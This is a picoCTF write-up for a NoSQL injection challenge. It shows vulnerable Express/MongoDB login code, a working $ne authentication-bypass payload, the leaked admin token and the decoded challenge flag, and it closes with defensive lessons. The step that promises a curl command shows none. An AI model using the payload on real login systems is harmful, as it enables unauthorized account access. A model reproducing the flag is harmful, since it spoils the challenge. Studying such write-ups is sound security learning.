picoCTF Write-Up: No SQL Injection 🚩
In this write-up, I’ll walk you through solving the No SQL Injection challenge from picoCTF. This challenge involves exploiting a NoSQL injection vulnerability in a web application to retrieve a hidden flag. Let’s dive in! 🏊♂️
Challenge Overview 📜
The challenge provides a web application with a login endpoint. The server is built using Express.js and uses MongoDB to store user data. The goal is to bypass authentication and retrieve a sensitive token that contains the flag. 🎯
Here’s the challenge description:
No SQL Injection
Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?
Understanding the Vulnerability 🕵️♂️
The server’s /login endpoint is vulnerable to NoSQL injection. This occurs because the application directly uses user input in a MongoDB query without proper validation or sanitization. Specifically, the server checks if the email and password fields are JSON strings and parses them if they are. This allows an attacker to inject MongoDB query operators (e.g., $ne) to manipulate the query. 🎭
Here’s the vulnerable code:
app.post("/login", async (req, res) => {
const { email, password } = req.body;try {
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
}); if (user) {
res.json({
success: true,
email: user.email,
token: user.token,
firstName: user.firstName,
lastName: user.lastName,
});
} else {
res.json({ success: false });
}
} catch (err) {
res.status(500).json({ success: false, error: err.message });
}
});
The key issue is that the server parses user input as JSON if it appears to be a JSON string. This allows an attacker to inject malicious payloads. 🎯
Exploitation Steps ⚙️
Step 1: Analyze the Login Endpoint 🔍
The /login endpoint accepts JSON input for email and password. If these fields are JSON strings, the server parses them and uses the parsed object in the query. This behavior opens the door for NoSQL injection. 🚪
Step 2: Craft a Malicious Payload 🛠️
To exploit the vulnerability, we can send a payload that tricks the server into executing a query that always evaluates to true. For example:
{
"email": "{\"$ne\": null}",
"password": "{\"$ne\": null}"
}Here’s what this payload does:
- The
emailandpasswordfields are JSON strings. - When parsed, they become MongoDB query operators:
{ $ne: null }. - The query
User.findOne({ email: { $ne: null }, password: { $ne: null } })will match any user in the database whereemailandpasswordare notnull. 🎯
Step 3: Send the Payload 📤
Use a tool like curl or Burp Suite to send the payload to the /login endpoint:
Step 4: Retrieve the Flag 🚩
The server responds with the details of the first user in the database, including their token:
{
"success": true,
"email": "admin@picoctf.org",
"token": "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzY3YjFhM2M4fQ==",
"firstName": "admin",
"lastName": "user"
}The token is a base64-encoded string. Decode it to retrieve the flag:
echo "cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzY3YjFhM2M4fQ==" | base64 -dThe decoded token reveals the flag:
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_67b1a3c8}Lessons Learned 📚
- NoSQL Injection: Always validate and sanitize user input before using it in database queries. Avoid parsing user input as JSON unless absolutely necessary. 🛡️
- Secure Authentication: Use secure authentication mechanisms (e.g., bcrypt for password hashing) and avoid hardcoding sensitive information. 🔒
- Input Validation: Ensure that user input is of the expected type (e.g., string, number) before processing it. ✅
Conclusion 🎉
This challenge was a great introduction to NoSQL injection and its potential impact on web applications. By understanding how the vulnerability works and how to exploit it, we can better protect our own applications from similar attacks. 🛠️
If you enjoyed this write-up, feel free to follow me on Medium for more CTF solutions and cybersecurity content. Happy hacking! 🚀
